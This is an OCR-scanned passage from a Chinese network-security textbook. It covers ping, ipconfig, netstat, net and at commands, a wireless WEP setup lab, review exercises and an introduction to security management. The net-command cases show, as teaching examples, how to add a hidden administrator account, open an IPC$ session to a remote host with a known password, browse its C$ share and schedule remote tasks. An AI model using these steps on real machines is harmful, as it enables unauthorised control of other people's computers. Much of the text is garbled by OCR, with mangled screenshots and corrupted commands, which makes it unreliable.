172.18.25.109: bytes:32 time<10ms TTL-128 
172.18.25.109: bytes=32 time<l0ms TTL=128 
172.18.25.109: bytes=32 time<l0ms TTL=128 


Ping statistics for 172.18.25.109: 

Packets: Sent z 4, Receiued : 4, Lost : 0 (0Z loss), 
hpproximate round trip times in milli-seconds: 

Minimum = Oms, Maximum = Qms, ñuerage =: gms 


Cc:\>, 


图 2-10 利用 ping 命令 检测 网 络 的 连通 性 


242 显示 网 络 配 置信 息 及 设置 命令 


ipconfig 命令 的 主要 功能 是 显示 所 有 TCP/IP 网 络 配置 信息 ,刷新 动态 主机 配置 协 
议 (Dynamic Host Configuration Protocol,DHCP) 和 域名 系统 (DNS) 设 置 。 

【案例 2-4】 使 用 不 带 参 数 的 ipconfig 可 以 显示 所 有 适配器 的 IP 地 址 、 子 网 掩 码 和 
默认 网 关 。 在 DOS 命令 行 下 输入 ipconfig 命令 ,显示 结果 如 图 2-11 所 示 。 


| 
C: yipconfig 下 


Mindowse 2000 IP Configuration jJ 


Ethernet adapter 本 地 连接 : 


: 172.18.25.119 
: 255.255.255.0 


Connection-specific DNS Suffix 
IP hddreee. . . .. ... Ë < 
Subnet Mack . ，. . . . . 
Default Gatoway . . . . - 


Ethernet adapter UMware Network Adapter UMnet1: 


Connection-specific DNS Suffix .: 
IP Addrese. . . . : 192.168.146.1 
Subnet Mask . . ..... z : 255.255.255.0 
Default Gateway . . . .. : 


Ethernet adapter UMware Network ñdapter UMnet8: 


Connection-specific DNS Suffix . : 
IP Address. . - : 192.168.282_1 
Subnet Mask . . . . . . . ， . . . : 255.255.255.0 


图 2-11 用 ipconfig 命令 查看 本 机 IP 地 址 
利用 ipconfig/all 命令 可 以 查看 所 有 完整 的 TCP/IP 配置 信息 。 对 于 具有 自动 获取 
IP 地 址 的 网 卡 , 可 以 利用 ipconfig/renew 命令 更 新 DHCP 的 配置 。 
243 显示 连接 和 监听 端口 命令 


netstat 命令 的 主要 功能 是 显示 活动 的 连接 .计算 机 监听 的 端口 .以太 网 统计 信息 、IP 路 
由 表 、IPv4 统计 信息 (IP、ICMP、TCP 和 UDP 协议 )。 使 用 netstat-an 命令 可 以 查看 目前 活 
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动 的 连接 和 开放 的 端口 ,是 网 络 管理 员 查 看 网 络 是 否 被 人 侵 的 最 简单 方法 ,如 图 2-12 所 示 。 
如 果 状 态 为 LISTENING 表示 端口 正在 被 监听 ,还 没有 与 其 他 主机 相连 ;如 果 状 态 为 
ESTABLISHED 表示 正在 与 某 主机 连接 并 通信 ,同时 显示 该 主机 的 IP 地 址 和 端口 号 。 


:netstat -an 


ctive Connections 


State 
LISTENING 


LISTENING 
LISTENING 
LISTENING 
LISTENING 
LISTENING 
LISTENING 
LISTENING 


LISTENING 
LISTENING 
LISTENING 
LISTENING 
LISTENING 
LISTENING 
LISTENING 
LISTENING 
LISTENING 
LISTENING 
LISTENING 
ESTABLISHED 
LISTENING 


Sessssssssssessesessses 
shš=es>ss>ssssssssssssssš 
ssssssssssssssssssss 


sasssessssssssssssssssssss> 


= 


Keesoooossosooooooooe 了 


加 


2-12 ”用 netstat -an 命令 查看 连接 和 开放 的 端口 


244 查询 删改 用 户 信息 命令 


net 命令 的 主要 功能 是 查看 计算 机 上 的 用 户 列表 ,添加 和 删除 用 户 ,与 对 方 计 算 机 建 
立 连接 ,启动 或 者 停止 某 网 络 服务 等 。 

【案例 2-5] 利用 net user 查看 计算 机 上 的 用 户 列 表 , 如 图 2-13 所 示 。 

还 可 以 用 “net user 用 户 名 密码 ”为 用 户 修改 密码 ,如 将 管理 员 密 码 改 为 123456. 
如 图 2-14 所 示 。 


:Nnet user 


_umware_user_ Administrator ASPNET 


uest Hacker IUSR_WWWFOX-NET 
IWAM_WWWFOX-NET SQLDebugger TsInternetUser 
USR_SZG-NB 
命令 成 功 完成 。 
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图 2-13 用 net user 查看 计算 机 上 的 用 户 列表 


【案例 2-6】 建立 用 户 并 添加 到 管理 员 组 。 
利用 net 命令 可 以 新 建 一 个 用 户 名 为 jack 的 用 户 , 然 后 ,将 此 用 户 添加 到 密码 为 


s= 网 络 安全 技术 基础 
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选 定 CNYWINNT\System32Vcmd.exe 
:> 
:Inet user administrator 123456 


命令 成 功 完成 。 一 


> 


12 
2-14 用 net user 修改 用 户 密码 
123456 的 管理 员 组 ,如 图 2-15 所 示 。 
net user jack 123456/ada 
net localgroup acministrators jackyaaad 
net user 
= I| >J 
CC:N2net user jack 123856 /add 
命令 成 功 完成 。 
[C:\>net localgroup administrators jack /add 
命令 成 功 完成 。 
C:\>net user 
|\\szs 的 用 户 帐户 N" 
-_umware_user__ ñdministrator ASPNET 
Guest Hacker IUSR_WWWFOX-NET 
IWAM_WWWFOX-NET jack SQLDebugger 
ITsInternetUser UUSR_SZG-NB 
命令 成 功 完成 。 


图 2-15 添加 用 户 到 管理 员 组 


【案例 2-7] 与 对 方 计算 机 建立 信任 连接 。 


拥有 某 主 机 的 用 户 名 和 密码 ,就 可 以 利用 ipc $ (代表 internet protocol control) 与 该 


主机 建立 信任 连接 ,之 后 便 可 以 在 命令 行 下 完全 控制 对 方 计 算 机 。 


得 到 IP 为 172. 18. 25. 109 的 计算 机 的 管理 员 密 码 为 123456 ,可 以 利用 命令 net use 


\\172. 18. 25. 109Nipc$ 123456 /user: administrator, 如 图 2-16 所 示 。 


建立 连接 以 后 , 便 可 以 通过 网 络 操 作对 方 的 计算 机 ,如 查看 对 方 计算 机 上 的 文件 ,如 


图 2-17 所 示 。 


IC:\Inet use NN172.18.25.109Vipc$ 123856 /user:administrator 


= 


图 2-16 与 对 方 计算 机 建立 信任 连接 
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= II >J 
C:N\?dir NN172.18.25.109Nc$ 2 
驱动 器 \\172.18.25.169\c$ 中 的 卷 没 有 标签 。 
卷 的 序列 号 是 B45F-6669 
\\172.18.25.199\c$ 的 目录 
2012-10-19 64:45a <DIR> WINNT 
2012-10-19 64:59a <DIR> Documents and Settings 
2012-10-19 64:51a <DIR> Program Files = 
2012-10-19 95:91a <DIR> Inetpub 
2012-11-08 689:31p <DIR> passdump 
2012-11-08 99:32p <DIR> 得 到 Windows 密 码 
2012-11-08 09:35p <DIR> HyperSnap-DX 4 x 
4 i 


图 2-17 查看 对 方 计算 机 上 的 文件 


245 创建 任务 命令 


在 与 对 方 建立 信任 连接 以 后 ,利用 at 命令 创建 一 个 计划 任务 ,并 设置 执行 时 间 。 

【案例 2-8] 创建 定时 器 。 

在 得 知 对 方 系统 管理 员 的 密码 为 123456 ,并 与 对 方 建立 信任 连接 以 后 ,在 对 方 主机 
建立 一 个 任务 。 执 行 结果 如 图 2-18 所 示 。 


CA\WINNT\System32\cmd.exe 


se x /del 
远程 连接 : 
2 M2 le:29 Mootpes 


3 (v/N) [N]: 


:N?net use \\172.18.25.199\ipc$ 123856 /user:administrator 


命令 成 功 完成 。 


:\>net time \\172.18.25.199 
\172.18.25.199 的 当前 时 间 是 2813/68/14 上 午 08:31 


命令 成 功 完成 。 


:\yat 8:49 notepad.exe 
新 加 了 一 项 作业 ， 其 作业 ID = 1 


:Wo 


图 2-18 创建 定时 器 


文件 名 称 : 2-4-2. bat, 


net use * /del 

net use \\172.18.25.109\ipc$ 123456 /user:acministrator 
net time NN172.18.25.109 

at 8:40 notepad.exe 


后 讨论 思考 
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(1) 网 络 安全 管理 常用 的 命令 有 哪 几 个 ? 
(2) 给 出 网 络 安全 管理 常用 命令 的 格式 ? 


25 实验 二 :无 线 网 络 安全 设置 


251 实验 目的 


在 上 述 常用 的 无 线 网 络 安全 基本 技术 及 应 用 的 基础 上 ,还 要 掌握 小 型 无 线 网 络 的 构 
建 及 其 安全 设置 的 一 些 方法 ,进一步 掌握 无 线 网 络 的 安全 机 制 及 应 用 ,理解 以 WEP 算法 
为 基础 的 身份 验证 服务 和 加 密 服务 。 


252 实验 要 求 
1. 实验 设备 
本 实验 需要 使 用 至 少 两 台 安装 有 无 线 网 卡 和 Windows 操作 系统 的 联网 计算 机 。 
2. 注意 事项 


(1) 预习 准备 。 由 于 本 实验 内 容 是 对 Windows 10 操作 系统 进行 无 线 网 络 安 全 配 
置 ,因此 需要 提前 熟悉 Windows 10 操作 系统 的 相关 操作 。 

(2) 注意 理解 实验 原理 和 各 步骤 的 含义 。 

对 于 操作 步 又 要 着 重 理解 其 原理 ,对 于 无 线 网 络 安全 机 制 要 充分 理解 其 作用 和 含义 。 

(3) 实验 学 时 : 2 学 时 (90 一 100 分 钟 ) 。 


253 ”实验 内 容 及 步骤 


1. SSID 和 WEP 设置 


SSID 和 WEP 设置 的 步骤 如 下 : 

(1) 在 安装 了 无 线 网 卡 的 计算 机 上 ,从 “控制 面板 ”中 打开 “网 络 连接 ”或 “网 络 和 
Internet 连接 ”窗口 (不 同 版 本 略 有 差异 ) ,如 图 2-19 所 示 。 

(2) 单 击 “ 查 看 网 络 状况 和 任务 ”, 进 入 显示 “查看 基本 网 络 信 息 并 设置 连接 ”界面 ,如 
图 2-20 所 示 。 

(3) 单 击 “ 设 置 新 的 连接 或 网 络 " 链 接 , 出 现 显 示 “ 设 置 连接 或 网 络 ” 对 话 框 ,如 图 2-21 
所 示 。 

(4) 在 对 话 框 中 选择 一 个 连接 选项 .连接 到 Internet 或 设置 新 网 络 。 此 处 单 击 “ 设 置 
新 网 络 ”, 打 开 “ 设 置 新 网 络 ” 对 话 框 ,如 图 2-22 所 示 。 

(5) 在 对 话 框 中 可 以 选择 要 配置 的 无 线路 由 器 或 访问 点 ,选择 后 单 击 “ 下 一 步 ” 按 钮 ， 
设置 新 网 络 。 

(6) 单 击 “关闭 ?按钮 返回 ,再 单 击 * 确 定 ” 按 钮 关闭 。 按 照 上 述 步 又 ,在 其 他 计算 机 上 
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X RV IRC) #meD 
saa 起 网 络 和 共享 中 心 
二 RE 连接 到 网 阁 | 查看 网 络 计 算 机 和 设备 
无 线 设备 添加 到 网 络 
网络 Internet 
硬件 和 声音 家 庭 组 
a Essgsuasustssen 
Bietes e e@ Internet 选项 
pais: 更 改 主页 1 到 和 济 汪 的 历史 记录 和 cookie 
时 种 、 主 襄 和 区 域 
Fl 
| 


2-19 “网 络 和 Internet 连接 ”窗口 


@C-[|š ; mwmwa ， 网 和 和 Interet ， 同 8 和 E73 
查看 基本 网 络 信息 并 设置 连接 


&-— S — @ 


JTJ-PC Tenda_5D78A8 Internet 
(此 计算 机 ) 
查看 活动 网 络 


Tenda 5D78A8 ki 
公用 网 络 连接 d 无线 网 络 连接 
(Tenda_5D78A8) 


更 改 网 络 设置 
W esmswsmapus 
À Sa E. S. (seis VPN 连接 ; 或 设置 路 由 器 或 访 


等 emsa 
连接 到 或 重新 连接 到 无 线 、 有 线 、 挨 号 或 VPN 网 络 连 接 . 


选择 家 庭 组 和 共享 选项 
访问 位 于 其 他 网 络 计算 机 上 的 文件 和 打印 机 或 更 改 共享 设置 . 


图 2-20 “查看 基本 网 络 信息 并 设置 连接 "界面 


也 做 同样 设置 ,计算 机 便 会 自动 搜索 网 络 进行 连接 了 。 

打开 ”无 线 网 络 连接 ?窗口 , 单 击 “ 刷 新 网 络 列表 ”按钮 , 即 可 看 到 已 经 连接 网 络 ,还 可 
以 断 开 或 连接 该 网 络 。 由 于 Windows 可 自动 为 计算 机 分 配 IP 地 址 ,即使 没有 为 无 线 网 
卡 设置 IP 地 址 ,计算 机 也 将 自动 获得 一 个 IP 地 址 ,并 实现 彼此 之 间 的 通信 。 
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© ? ames 


选择 一 个 连接 选项 


连接 到 Internet 
设置 无 线 、 宽 市 或 拨号 连接 , 连接 到 Internet. 


k 
配置 新 的 路 由 器 或 访问 点 。 


m 


手动 连接 到 无 线 网 络 
了 连接 到 隐藏 网 络 或 创建 新 无 线 配 四 文件 . 


BD 连接 到 工作 区 
设 否 到 您 的 工作 区 的 拨号 或 VPN 连接 . 


您 使 用 挨 号 连接 连接 到 Internet. 


图 2-21 “设置 连接 或 网 络 " 对 话 框 


EE 可 
@ sass 


选择 要 配置 的 无 线路 由 器 或 访问 点 


显示 网 络 上 未 配置 的 设备 最 多 可 能 需要 90 秒 的 时 间 . 


<> dlink DWR-730_C4D2 


图 2-22 “设置 新 网 络 " 对 话 框 


2. 运行 无 线 网 络 安装 向 导 


Windows 提供 了 “无 线 网 络 安装 向 导 ” 设 置 无 线 网 络 , 可 将 其 他 计算 机 加 入 该 网 络 。 
(1) 在 “无 线 网 络 连 接 ” 窗 口中 单 击 “ 为 家 庭 或 小 型 办 公 室 设置 无 线 网 络 ”, 显 示 “ 无 线 
网 络 安 装 向 导 ” 对 话 框 ,如 图 2-23 所 示 。 
(2) 单 击 “ 下 一 步 ”按钮 ,显示 “为 您 的 无 线 网 络 创建 名 称 ” 对 话 框 ,如 图 2-24 所 示 。 
在 “网 络 名 (SSID) ”文本 框 中 为 网 络 设置 一 个 名 称 , 如 lab。 然 后 选择 网 络 密 钥 的 分 配方 
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无 线 网 络 安装 向 导 园 
欢迎 使 用 无 线 网 络 安装 向 导 


向 导 帮 助 您 设置 启用 安全 的 无 线 网 络 ， 所 有 网 络 中 的 计算 
机 和 设备 可 以 通过 无 贱 访问 点 连接 。 (这 称 为 无 线 结构 网 ) 


要 继续 ,请 单 击 “ 下 一 步 ”。 


: 
图 2-23 “无 线 网 络 安装 向 导 ” 对 话 框 


式 。 默 认为 “自动 分 配 网 络 密 钥 ”。 


无 线 网 络 安装 向 导 3 


为 您 的 无 线 网 络 创建 名 称 


提供 网 络 名 称 ， 最 多 32 个 字符 。 
网 名 GsID) Q): [q 


@ 自动 分 配 网 络 密 钥 推荐 ) (a) 
Ei A museo , Yindows 将 为 网 络 自动 分 配 安全 密 钥 (也 称 为 YEP 或 


口 手 动 分 配 网 络 客 钥 加 ) 
ri a= 自己 的 密 铀 或 使 用 旧 密 铀 将 新 设备 添加 到 现 有 无 线 网 络 ， 请 选择 此 


口 使 用 WPA 加 密 ， 不 使 用 WEP QWPA 比 WEP 更 强 ， 但 部 分 设备 与 WPA 不 兼容 ) 0D) 


wm 


图 2-24 “为 您 的 无 线 网 络 创建 名 称 " 对 话 框 

车 希望 用 户 手 动 输入 密码 才能 加 入 网 络 , 可 选中 “手动 分 配 网 络 密 钥 ”按钮 ,然后 单 
击 “ 下 一 步 ” 按 钮 ,出 现 如 图 2-25 所 示 的 “输入 无 线 网 络 的 WEP 密 钥 ”对 话 框 ,可 设置 一 
个 网 络 密 钥 。 要 求 符合 以 下 条 件 之 一 : 5 或 13 个 字符 ; @10 或 26 个 字符 ,并 使 用 0— 
9 和 A~EF 之 间 的 字符 。 

(3) 单 击 “ 下 一 步 ” 按 钮 ,出 现 如 图 2-26 所 示 的 “您 想 如 何 设置 网 络 ?” 对 话 框 ,选择 创 
建 无 线 网 络 的 方法 。 

(4) 可 选择 使 用 USB 闪存 驱动 器 和 手动 设置 两 种 方式 。 使 用 闪存 方式 比较 方便 ,但 
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无 线 网 络 安装 向 导 
输入 无 线 网 络 的 YEP 密 钥 


全 ? ( 葡 有 线 对 等 保密 ) 密 钥 必 须 符合 下 列 条 件 之 一 : 
-正好 5 或 13 个 字符 
-正好 10 或 26 个 字符 ,并 使 用 0-9 和 A-F 之 间 的 字符 


Di 


键入 时 不 显示 字符 0D 


在 向 导 的 最 后 一 页 ， 您 可 以 打印 此 密 钥 和 其 他 网 络 设置 以 供 保存 。 


[Egg 


2-25 “输入 无 线 网 络 的 WEP 密 钥 " 对 话 框 


无 线 网 络 安装 向 导 
您 起 如 何 设置 网 络 ? 


此 向 导 提 供 创建 无 线 网 络 的 两 种 方法 。 使 用 闪存 驱动 器 更 方便 ， 更 安全 。 


O fF USB 闪存 驱动 器 (推荐) QD 


sens Emaus ptasqsanaa 


CGOPEPEEFES G) 
nini, 0 noshems—Gisnuma 


[F—2 0 > 


图 2-26 “您 想 如 何 设 置 网 络 " 对 话 框 


如 果 没 有 闪存 盘 , 则 可 选中 “手动 设置 网 络 ” 单 选 按钮 ,自己 动手 将 每 一 台 计 算 机 加 入 网 
络 。 单 击 “ 下 一 步 ” 按 钮 ,显示 “向 导 成 功 地 完成 ”对 话 框 ,如 图 2-27 所 示 , 单 击 “ 完 成 ”按钮 
退出 安装 向 导 。 

按 上 述 步骤 在 其 他 计算 机 中 运行 "无线 网 络 安装 向 导 ? 并 将 其 加 入 lab 网 络 。 不 用 无 
线 AP 也 可 将 其 加 入 该 网 络 ,多 台 计 算 机 可 组 成 一 个 无 线 网 络 ,可 互相 共享 文件 。 

(5) 单 击 “关闭 ”和 ”确定 ”按钮 。 

在 其 他 计算 机 中 进行 同样 设置 ( 须 使 用 同一 服务 名 ) ,然后 在 “无 线 网 络 配 置 ”选项 卡 
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无 线 网 络 安装 向 导 [3] 
向 导 成 功 地 完成 


要 不 使 用 USB 闪存 驱动 器 设置 无 线 网 络 ， 请 打印 您 的 设置 并 
以 下 列 须 序 将 其 输入 每 一 台 设 备 


- 无 线 访 问 点 三 无 线路 由 器 ) 
- 您 想 添加 到 网 络 的 每 一 台 额 外 计算 机 
- 悠 想 设置 的 每 一 台 无 线 设备 各 无 线 打印 机 ) 


ENF: ti TNH) 


要 关闭 此 向 导 ， 请 单 击 “ 完 成 ”。 


2-27 ”向 导 成 功 完成 


中 重复 单 击 “ 刷 新 "按钮 ,建立 计算 机 之 间 的 无 线 连接 ,表示 无 线 网 连接 已 成 功 。 


26 本 章 小 结 


本 章 侧重 概述 网 络 安全 技术 基础 知识 ,分 析 了 网 络 协议 安全 和 网 络 体系 层次 结构 
并 介绍 了 TCP/IP 层次 安全 。 阐 述 了 IPv6 的 特点 优势 .IPv6 的 安全 性 和 移动 IPv6 的 安 
全 机 制 。 概 述 ua 专用 网 (VPN) 的 特点 `VPN 的 实现 技术 和 VPN 技术 的 实际 应 用 。 
分 析 了 无 线 网 络 设 备 安全 管理 .IEEE 802. 1x 身份 认证 ,无线 网 络 安 全 技术 应 用 实例 和 
WiFi 无线 网 络 安全 。 简 单 介绍 了 常用 网 络 安全 工具 ,包括 :判断 主机 是 否 连通 的 ping 命 
令 , 查 看 IP 地 址 配置 情况 的 ipconfig 命令 ,查看 网 络 连接 状态 的 netstat 命令 ,进行 网 络 
操作 的 net 命令 和 行 定 时 器 操作 的 at 命令 等 。 


27 练习 与 实践 二 


1. 选择 题 
(1) 加 密 安 全 机 制 提供 了 数据 的 ( 。 )。 
A. 保密 性 和 可 控 B. 可 靠 性 和 安全 性 
C. 完整 性 和 安全 性 D. 保密 性 和 完整 性 
(2) SSL 协议 是 在 ( ””) 之 间 实 现 加 密 传输 的 协议 。 
A. 传输 层 和 应 用 层 B. 物理 层 和 数据 层 


C. 物理 层 和 系统 层 D. 物理 层 和 网 络 层 
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(3) 实际 应 用 时 一 般 利 用 ( ) 加 密 技 术 进 行 密 钥 的 协商 和 交换 ,利用 ( ) 加 密 
技术 进行 用 户 数据 的 加 密 。 


A. 非 对 称 非 对 称 B. 非 对 称 对 称 
C. 对 称 ”对 称 D. 对 称 ” 非 对 称 
(4) 能 在 物理 层 链 路 层 、 网 络 层 、 传 输 层 和 应 用 层 提供 的 网 络 安全 服务 的 是 ( Ds 
A. 认证 服务 B. 数据 保密 性 服务 
C. 数据 完整 性 服务 D. 访问 控制 服务 
(5) 传输 层 由 于 可 以 提供 真正 的 端 到 端的 连接 ,最 适宜 提供 ( ) 安 全 服务 。 
A. 数据 完整 性 B. 访问 控制 服务 
C. 认证 服务 D. 数据 保密 性 及 以 上 各 项 
(6) VPN 的 实现 技术 包括 ( ) 。 
A. 隧道 技术 B. 加 解密 技术 
C. 密 钥 管理 技术 D. 身份 认证 及 以 上 技术 
2. 填空 
(1) 安全 套 接 层 (SSL) 协 议 是 在 网 络 传输 过 程 中 提供 通信 双方 网 络 信息 和 
,由 和 两 层 组 成 。 


(2) OSI 参考 模型 的 7 层 协 议 是 


(3) ISO 对 OSI 规定 了 š š % > 5 种 级 别 
的 安全 服务 。 

(4) 应 用 层 安全 分 解 为 安全 ,利用 各 种 协议 运行 和 
管理 。 

(5) 与 OSI 参考 模型 不 同 , TCP/IP 模型 由 低 到 高 依次 由 š 
和 4 层 组 成 
(6) 一 个 VPN 连接 由 和 3 部 分 组 成 。 
(7) 一 个 高 效 、 成 功 的 VPN 具有 š £ " 4 个 特点 。 


3. 简 答 题 


(1) TCP/IP 的 4 层 协议 与 OSI 参考 模型 的 7 层 协议 是 怎样 对 应 的 ? 
(2) IPv6 协议 的 报头 格式 与 IPv4 有 什么 区 别 ? 

(3) 简 述 传输 控制 协议 (TCP) 的 结构 及 实现 的 协议 功能 。 

(4) 简 述 无 线 网 络 的 安全 问题 及 保证 安全 的 基本 技术 。 

(5) VPN 技术 有 哪些 特点 ? 


4. 实践 题 


(1) 利用 抓 包 工具 ,分析 IP 头 的 结构 
(2) 利用 抓 包工 具 ,分 析 TCP 头 的 结构 ,并 分 析 TCP 的 三 次 握手 过 程 。 
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(3) 假定 有 同一 子 网 的 两 台 主机 ,其 中 一 台 运 行 了 sniffit。 利 用 sniffit 捕获 Telnet 
到 对 方 7 号 端口 echo 服务 的 包 。 
(4) 配置 一 台 简单 的 VPN 服务 器 。 


网 络 安全 管理 概述 


网 络 安全 问题 已 经 成 为 世界 关注 的 焦点 ,也 是 21 世纪 世界 十 大 热门 课题 之 一 。 网 
络 安全 是 一 个 系统 工程 ,网 络 安全 技术 必须 与 安全 管理 和 保障 措施 密切 配合 ,才能 充分 
发 挥 实效 。 网 络 安全 管理 已 经 成 为 网 络 管理 工作 中 的 重要 任务 ,涉及 法 律 ,法规 ,政策 、 
策略 .规范 ,标准 、 机 制 , 规 划 和 措施 等 ,是 网 络 安全 的 重要 方面 。 


S 教 学 目标 


° 掌握 网 络 安全 管理 与 保障 体系 、 法 律 法 规 . 评 估 准 则 和 方法 。 
° 理解 网 络 安全 管理 规范 及 策略 、 原 则 、 制 度 。 

° 了 解 网 络 安全 规划 的 主要 内 容 和 原则 。 

° 掌握 网 络 安全 统一 威胁 管理 (UTM) 实验。 


31 网 络 安全 管理 体系 


【案例 3-1】 我 国 高 度 重视 网 络 安全 管理 工作 。2014 年 2 月 27 日 ,中 共 中 央 总 书 
记 、 国 家 主席 、 中 央 军 委 主 席 、 中 央 网 络 安全 和 信息 化 领导 小 组 组 长 习近平 主持 召开 中 央 
网 络 安全 和 信息 化 领导 小 组 第 一 次 会 议 并 发 表 重 要 讲话 。 指 出 : 网 络 安 全 和 信息 化 是 事 
关 国 家 安全 和 发 展 、 事 关 广 大 人 民 群 众 工作 生活 的 重大 战略 问题 ,要 从 国际 国内 大 势 出 
发 ,总 体 布局 ,统筹 各 方 ,创新 发 展 ,努力 把 我 国 建设 成 为 网 络 强国 。 网 络 安 全 和 信息 化 
对 一 个 国家 很 多 领域 都 是 军 一 发 而 动 全 身 的 ,要 认 清 面临 的 形势 和 任务 ,充分 认识 做 好 
工作 的 重要 性 和 紧 连 性 , 因 势 而 谋 , 应 势 而 动 ,顺势 而 为 。 


311 网 络 安全 体系 及 管理 过 程 


1. OSI 网 络 安全 体系 


开放 系统 互 连 参 考 模型 (OSI/RM) ,是 国际 标准 化 组 织 (ISO) 为 解决 网 络 不 同 设备 
互联 而 制定 的 开放 式 层 次 结构 模型 。 其 安全 体系 结构 主要 包括 网 络 安全 机 制 和 服务 。 

1) 网 络 安全 机 制 

在 ISO 7498-2 网 络 安全 体系 结构 ;文件 中 规定 的 网 络 安全 机 制 有 8 Di; 加 密 机 制 、 
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数字 签名 机 制 .访问 控制 机 制 .数据 完整 性 机 制 , 鉴 别 交 换 机 制 \ 信 息 量 填 充 机 制 、 路 由 控 
制 机 制 和 公证 机 制 。 后 面 只 对 主要 内 容 进行 介绍 。 

2) 网 络 安全 服务 

在 《网络 安全 体系 结构 ) 文 件 中 规定 的 网 络 安全 服务 有 5 项 : 鉴别 服务 、 访 问 控制 服 
务 数据 完整 性 服务 .数据 保密 性 服务 和 可 审查 性 服务 。 

(1) 鉴别 服务 。 主 要 用 于 网 络 系统 中 认定 识别 实体 ( 含 用 户 及 设备 等 ) 和 数据 源 等 ， 
包括 同等 实体 鉴别 和 数据 源 鉴别 两 种 服务 。 

(2) 访问 控制 服务 。 访 问 控制 包括 身份 验证 和 权限 验证 。 访 问 控制 服务 既 可 防止 未 
授权 用 户 非 法 访问 网 络 资源 ,也 可 防止 合法 用 户 越权 访问 网 络 资源 。 

(3) 数据 完整 性 服务 。 可 分 为 以 下 5 种 情形 ,通过 这 些 服务 满足 不 同 用 户 ,不同 场合 
对 数据 完整 性 的 要 求 。 带 恢复 功能 的 面向 连接 的 数据 完整 性 ; @ 不 带 恢复 功能 的 面向 
连接 的 数据 完整 性 ; 加 选择 字段 面向 连接 的 数据 完整 性 ; @ 选 择 字段 无 连接 的 数据 完整 
性 ; @ 无 连接 的 数据 完整 性 。 

(4) 数据 保密 性 服务 。 主 要 是 针对 信息 泄露 .窃听 等 被 动 威胁 的 防御 措施 。 可 分 为 
信息 保密 、 保 护 通信 系统 中 的 信息 或 网 络 数据 库 数据 。 而 对 于 通信 系统 中 的 信息 ,又 分 
为 面向 连接 保密 和 无 连接 保密 。 

(5) 可 审查 性 服务 。 是 防止 文件 或 数据 发 出 者 否认 所 发 送 的 原 有 内 容 真实 性 的 防范 
措施 ,可 用 于 证 实 已 发 生 过 的 操作 。 主 要 包括 发 送审 查 .递交 审查 和 公证 。 

2. TCP/IP 网 络 安全 管理 体系 

TCP/IP 网 络 安全 管理 体系 结构 如 图 3-1 所 示 ,包括 3 个 方面 : 分 层 安 全 管理 、 安 全 
服务 与 机 制 (认证 ,访问 控制 ,数据 完整 性 、 抗 抵赖 性 、 可 用 及 可 控 性 ,可 审计 性 ) 、 系 统 安 


全 管理 (终端 系统 安全 、 网 络 系统 安全 、 应 用 系统 安全 ), 有 机 地 综合 了 安全 管理 ,技术 和 
机 制 各 个 方面 ,对 网 络 安 全 整体 管理 与 实施 和 效能 的 充分 发 挥 将 起 到 至 关 重 要 的 作用 。 
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图 3-1 TCP/IP 网 络 安全 管理 体系 结构 
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知识 拓展 ”在 现代 信息 社会 ,信息 已 经 作为 一 种 重要 资源 和 资产 受到 保护 。 网 络 
安全 是 一 项 系统 工程 ,不 能 完全 依赖 于 某 项 技术 手段 实现 整体 的 安全 保障 ,还 必须 与 网 
络 综合 安全 管理 密切 配合 ,才能 切实 保证 整个 网 络 系统 的 安全 。 


3. 网 络 安全 管理 的 基本 过 程 


网 络 安全 管理 的 具体 对 象 包括 所 涉及 的 相关 机 构 `. 人 员 、 软 件 . 设备、 场地 设施 、 介 
质 涉 密 信息 .技术 文档 ` 网 络 连接 .门户 网 站 应急 恢复 .安全 审计 等 。 网 络 安 全 管理 根 
据 具 体 管理 对 象 的 差异 ,可 以 采用 不 同 的 具体 管理 方法 。 网 络 安全 管理 的 功能 包括 计算 
机 网 络 的 运行 (Operation)、 管 理 (Administration)、 维 护 (Maintenance)、 提 供 服务 
(Provisioning) 等 所 需要 的 各 种 内 容 , 可 概括 为 OAM&-P。 也 有 的 专家 学 者 将 安全 管理 
功能 仅 限于 考虑 前 3 种 (OAM) 情 形 。 

网 络 安全 管理 工作 的 程序 遵循 PDCA 循环 模式 的 4 个 基本 过 程 ， 

(1) 计划 (Plan) 。 对 每 个 阶段 都 应 制定 出 具体 翔实 的 安全 管理 工作 计划 、 突 出 工作 
重点 ,明确 责任 任务 ,确定 工作 进度 ,形成 完整 的 安全 管理 工作 文件 。 

(2) 执行 (Do)。 按 照 具体 的 安全 管理 计划 开展 各 项 工作 ,包括 建立 权威 的 安全 机 
构 , 落 实 必要 的 安全 措施 ,开展 全 员 的 安全 培训 等 。 

(3) 检查 (Check)。 对 上 述 安全 管理 计划 与 执行 工作 ,构建 的 信息 安全 管理 体系 进 
行 认真 监督 检查 ,并 反馈 和 报告 具体 的 检查 结果 。 

(4) 行动 (Action)。 根 据 检 查 的 结果 ,对 现 有 信息 安全 管理 策略 及 方法 进行 评审 、 评 
估 和 总 结 , 评 价 现 有 信息 安全 管理 体系 的 有 效 性 ,采取 相应 的 改进 措施 。 

网 络 安全 管理 模型 一 一 PDCA 持续 改进 模式 如 图 3-2 所 示 。 


策略 
任务 、 目标 、 对象、 原则、 程序 、 方法 


U U l i: 


执行 (do) 

计划 (plan) 建立 机 构 检查 (check) 行动 (action) 
制定 计划 落实 措施 检查 效果 实施 改进 
开展 培训 
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图 3-2 网 络 安全 管理 模型 一 一 PDCA 持续 改进 模式 


4. 网 络 管理 与 安全 技术 的 结合 


网 络 安全 是 一 个 系统 工程 ,网 络 安全 技术 必须 与 安全 管理 和 保障 措施 紧密 结合 ， 
能 真正 有 效 地 发 挥 作用 。 国 际 标准 化 组 织 (ISO) 在 ISO/IEC 7498-4 文档 定义 了 开放 系 
统 网 络 管理 的 五 大 功能 : 故障 管理 功能 .配置 管理 功能 、 性 能 管理 功能 、 安 全 管理 功能 和 
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审计 计 费 管理 功能 。 目 前 ,先进 的 网 络 管理 技术 也 已 经 成 为 人 们 关注 的 重点 ,先进 的 网 
络 技术 .通信 及 交换 技术 .人 工 智能 等 正在 不 断 应 用 到 实际 网 络 安全 管理 中 ,网 络 安全 管 
理 理 论 及 技术 也 在 快速 发 展 上 且 不 断 完 善 。 将 网 络 管理 与 Web 安全 技术 有 机 结合 已 经 成 
为 一 种 趋势 ,在 实际 应 用 中 ,很 多 机 构 或 部 门 已 经 利用 基于 Web 的 网 络 管理 系统 ,通过 
Web 浏览 器 进行 远程 网 络 安全 方面 具体 的 管理 与 智能 技术 应 用 。 如 IPv6 通过 自动 识别 
机 能 .更 多 的 地 址 网络 安全 设置 等 ,对 每 个 终端 ,家电 、 生 产 流程 .感应 器 等 都 可 进行 IP 
全 球 化 管理 。 

